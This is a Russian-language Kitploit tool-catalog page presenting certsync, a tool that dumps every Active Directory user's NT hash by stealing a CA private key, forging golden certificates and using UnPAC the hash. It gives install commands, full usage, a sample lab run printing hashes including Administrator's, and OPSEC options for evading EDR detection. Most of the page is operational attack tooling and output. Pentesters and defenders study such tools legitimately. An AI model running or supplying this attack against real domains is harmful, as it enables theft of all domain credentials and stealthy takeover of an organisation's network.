Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
certsync — Дамп NTDS с золотыми сертификатами и UnPAC хеша | Kitploit
Инструменты/GitHubGitHub/zblurx/certsync
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеАутентификацияRed Teaming
GitHubzblurx/certsync

certsync

Дамп NTDS с золотыми сертификатами и UnPAC хеша

Репозиторий
649682 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

certsync

certsync — новая техника для удаленного дампа NTDS, но на этот раз без DRSUAPI: она использует золотой сертификат и UnPAC the hash. Работает в несколько шагов:

  1. Дамп списка пользователей, информации о CA и CRL из LDAP
  2. Дамп сертификата CA и закрытого ключа
  3. Офлайн-создание сертификата для каждого пользователя
  4. UnPAC the hash для каждого пользователя, чтобы получить хеши nt и lm
root@kitploit:~
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::

Вопреки возможным ожиданиям, атака вовсе не медленнее.

Содержание

  • certsync
    • Содержание
    • Установка
    • Использование
    • Зачем
    • Требования
    • Ограничения
    • OPSEC
    • Благодарности

Установка

Локально:

root@kitploit:~
git clone https://github.com/zblurx/certsync
cd certsync
pip install .

Из Pypi:

root@kitploit:~
pip install certsync

Из BlackArch:

root@kitploit:~
pacman -S certsync

Пакеты для всех дистрибутивов ОС:

Packaging status

Использование

root@kitploit:~
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
                [-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
                [-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]

Dump NTDS with golden certificates and UnPAC the hash

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -outputfile OUTPUTFILE
                        base output filename

CA options:
  -ca-pfx pfx/p12 file name
                        Path to CA certificate. If used, will skip backup of CA certificate and private key
  -ca-ip ip address     IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP

authentication options:
  -d domain.local, -domain domain.local
                        Domain name
  -u username, -username username
                        Username
  -p password, -password password
                        Password
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -kdcHost KDCHOST      FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection options:
  -scheme ldap scheme
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

OPSEC options:
  -ldap-filter LDAP_FILTER
                        ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
  -template cert.pfx    base template to use in order to forge certificates
  -timeout timeout      Timeout between PKINIT connection
  -jitter jitter        Jitter between PKINIT connection
  -randomize            Randomize certificate generation. Takes longer to generate all the certificates

Зачем

DSRUAPI всё чаще отслеживается и иногда блокируется EDR-решениями. Кроме того, certsync не требует прав администратора домена — достаточно прав администратора CA.

Требования

Для этой атаки необходимы:

  • Настроенный корпоративный CA на сервере ADCS в домене,
  • Работающий PKINIT,
  • Учётная запись домена с правами локального администратора на сервере ADCS или экспорт сертификата CA и закрытого ключа.

Ограничения

Поскольку PKINIT невозможен для отозванных пользователей, мы не можем получить их хеши.

OPSEC

Были добавлены некоторые опции для настройки поведения инструмента:

  • -ldap-filter: изменить LDAP-фильтр, используемый для выбора имён пользователей для certsync.
  • -template: использовать уже выданный сертификат, чтобы имитировать его при создании сертификатов пользователей.
  • -timeout и -jitter: изменить таймаут между запросами аутентификации PKINIT.
  • -randomize: по умолчанию все созданные сертификаты пользователей будут иметь один и тот же закрытый ключ, серийный номер и даты действия. Этот параметр сделает их случайными, но создание займёт больше времени.

Благодарности

  • Olivier Lyak за всю его работу над ADCS и certipy.
  • Benjamin Delpy за технику unPAC the hash.
  • Will Schroeder и Lee Christensen за Certified Pre-Owned и Certify.
  • Mayfly за его отличную лабораторию: GOAD.
Скачать инструмент